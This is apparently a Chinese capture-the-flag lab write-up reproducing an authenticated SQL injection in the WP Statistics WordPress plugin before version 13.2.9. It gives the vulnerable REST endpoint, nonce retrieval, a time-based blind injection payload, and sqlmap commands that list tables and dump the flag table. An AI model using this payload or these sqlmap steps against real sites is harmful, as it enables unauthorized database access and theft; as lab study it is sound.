春秋云镜------SQL注入漏洞复现
题干信息：
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下，具有管理选项功能 (admin+) 的用户可以使用受影响的功能，但是该插件有一个设置允许低权限用户也可以访问它。
1.打开题目，发现是wordpress的框架，直接test/test进入后台
2.查看安装好的插件
3.根据题目给的提示WP Statistics的版本信息为13.2.8，继续找口子
4.照着版本测试
获取wpnonce值
/wp-admin/admin-ajax.php?action=rest-nonce
5.获取到的值:d3e55c6649
/wp-json/wp-statistics/v2/metabox?_wpnonce=d3e55c6649&name=words&search_engine=aaa
6.时间盲注poc
/wp-json/wp-statistics/v2/metabox?_wpnonce=7fe145780f&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
7.中途时间到了，继续获取值
/wp-admin/admin-ajax.php?action=rest-nonce
6784193c7c
8.时间盲注
/wp-json/wp-statistics/v2/metabox?_wpnonce=6784193c7c&name=words&search_engine=aaa
/wp-json/wp-statistics/v2/metabox?_wpnonce=6784193c7c&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
/wp-json/wp-statistics/v2/metabox?_wpnonce=6784193c7c&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(10)))Mdgs)--%20HsBR
9.成功获取当前数据库
python sqlmap.py -r 1.txt --random-agent --batch --current-db
Payload
_wpnonce=6784193c7c&name=words&search_engine=aaa' AND (SELECT 2568 FROM (SELECT(SLEEP(5)))UGlY) AND 'gotj'='gotj
10.获取数据库表名
延时注入时间太长靶机又得重新启动
获取值
/wp-admin/admin-ajax.php?action=rest-nonce
baea1c41af
/wp-json/wp-statistics/v2/metabox?_wpnonce=baea1c41af&name=words&search_engine=aaa
C53cd095b3
/wp-json/wp-statistics/v2/metabox?_wpnonce=ceb22a74d5&name=words&search_engine=aaa
ceb22a74d5
11.总的有34张表
python sqlmap.py -r 1.txt --random-agent --batch -D wordpress --tables
12.因为时间原因看到flag这张表啦，直接冲
python sqlmap.py -r 1.txt --random-agent --batch -D wordpress -T flag --dump
13.提交成功
